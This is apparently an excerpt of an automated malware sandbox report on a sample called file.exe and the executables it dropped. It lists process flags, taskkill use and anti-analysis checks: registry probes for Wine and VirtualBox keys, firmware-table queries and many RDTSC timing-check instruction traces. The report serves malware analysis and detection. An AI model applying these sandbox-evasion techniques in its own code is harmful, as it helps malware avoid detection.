Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39EEBF second address: 39EEC9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F32E9641F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 522E94 second address: 522E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F32E8D838D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 522E9E second address: 522ED4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F32E9641F29h 0x00000011 jo 00007F32E9641F18h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 522ED4 second address: 522ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5222E7 second address: 5222FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5222FB second address: 5222FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 52275A second address: 522788 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E9641F16h 0x00000008 jmp 00007F32E9641F1Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F32E9641F22h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524853 second address: 524859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524859 second address: 52487F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edi 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 jns 00007F32E9641F1Ch 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 52487F second address: 5248A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32E8D838E8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5248A3 second address: 39EEBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F32E9641F1Ch 0x0000000f push dword ptr [ebp+122D167Dh] 0x00000015 jmp 00007F32E9641F24h 0x0000001a call dword ptr [ebp+122D1E33h] 0x00000020 pushad 0x00000021 jmp 00007F32E9641F28h 0x00000026 xor eax, eax 0x00000028 clc 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d jng 00007F32E9641F1Ch 0x00000033 pushad 0x00000034 sub dword ptr [ebp+122D2C12h], ebx 0x0000003a mov bx, F352h 0x0000003e popad 0x0000003f mov dword ptr [ebp+122D3A35h], eax 0x00000045 pushad 0x00000046 pushad 0x00000047 mov dword ptr [ebp+122D2C12h], eax 0x0000004d call 00007F32E9641F1Eh 0x00000052 pop ebx 0x00000053 popad 0x00000054 popad 0x00000055 mov esi, 0000003Ch 0x0000005a jno 00007F32E9641F1Bh 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 mov dword ptr [ebp+122D2AC2h], esi 0x0000006a lodsw 0x0000006c mov dword ptr [ebp+122D2A92h], edi 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 mov dword ptr [ebp+122D2A9Bh], edx 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 mov dword ptr [ebp+122D2C12h], eax 0x00000086 nop 0x00000087 jmp 00007F32E9641F24h 0x0000008c push eax 0x0000008d push eax 0x0000008e push edx 0x0000008f pushad 0x00000090 pushad 0x00000091 popad 0x00000092 pushad 0x00000093 popad 0x00000094 popad 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524901 second address: 524907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524907 second address: 52490B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 52490B second address: 524995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnl 00007F32E8D838F6h 0x0000000f nop 0x00000010 jmp 00007F32E8D838E6h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F32E8D838D8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D21CEh], ebx 0x00000037 call 00007F32E8D838D9h 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F32E8D838E1h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524995 second address: 5249C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F32E9641F28h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F32E9641F1Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5249C3 second address: 524A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F32E8D838E8h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jmp 00007F32E8D838DEh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F32E8D838E3h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524A09 second address: 524A34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jns 00007F32E9641F18h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524A34 second address: 524A57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524A57 second address: 524ACA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F32E9641F25h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c movsx esi, dx 0x0000000f push 00000003h 0x00000011 or cl, FFFFFFBFh 0x00000014 push 00000000h 0x00000016 and si, 7F62h 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F32E9641F18h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 add dx, BAD3h 0x0000003c call 00007F32E9641F19h 0x00000041 push edi 0x00000042 jmp 00007F32E9641F1Ch 0x00000047 pop edi 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524ACA second address: 524AD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524AD0 second address: 524AE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 je 00007F32E9641F16h 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524AE8 second address: 524B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F32E8D838E6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jnl 00007F32E8D838EBh 0x00000015 jmp 00007F32E8D838E5h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 pushad 0x00000024 push edi 0x00000025 pop edi 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 popad 0x0000002a pop eax 0x0000002b jmp 00007F32E8D838E2h 0x00000030 lea ebx, dword ptr [ebp+12459788h] 0x00000036 mov edx, dword ptr [ebp+122D3B41h] 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F32E8D838E6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524B6D second address: 524B77 instructions: 0x00000000 rdtsc 0x00000002 je 00007F32E9641F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524B77 second address: 524B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 524D96 second address: 524DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edx 0x0000000b push esi 0x0000000c jmp 00007F32E9641F20h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push edx 0x00000019 pop edx 0x0000001a jg 00007F32E9641F16h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 545B31 second address: 545B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 545B37 second address: 545B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 545B42 second address: 545B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F32E8D838DDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 545B5A second address: 545B60 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 545B60 second address: 545B65 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5439C1 second address: 5439C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5439C7 second address: 5439D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 543B43 second address: 543B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 543B48 second address: 543B65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DAh 0x00000007 pushad 0x00000008 jnc 00007F32E8D838D6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 543B65 second address: 543B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 543B6B second address: 543B97 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F32E8D838DEh 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F32E8D838DEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 543D21 second address: 543D45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F32E9641F1Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32E9641F21h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 543E9D second address: 543EA7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5443E8 second address: 5443EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5443EE second address: 5443F4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54453C second address: 544540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 544540 second address: 54454F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E8D838D6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54454F second address: 54457B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F32E9641F1Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F32E9641F23h 0x00000012 jno 00007F32E9641F16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54457B second address: 5445BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007F32E8D838DAh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F32E8D838E3h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5445BC second address: 5445C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5449ED second address: 5449F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5449F2 second address: 544A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F32E9641F16h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jne 00007F32E9641F16h 0x00000016 jne 00007F32E9641F16h 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 517AFF second address: 517B04 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 544CB1 second address: 544CD0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F32E9641F1Ah 0x00000008 jmp 00007F32E9641F1Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 544CD0 second address: 544CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 544CD6 second address: 544CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F32E9641F16h 0x0000000c popad 0x0000000d push ecx 0x0000000e jc 00007F32E9641F16h 0x00000014 pop ecx 0x00000015 rdtsc
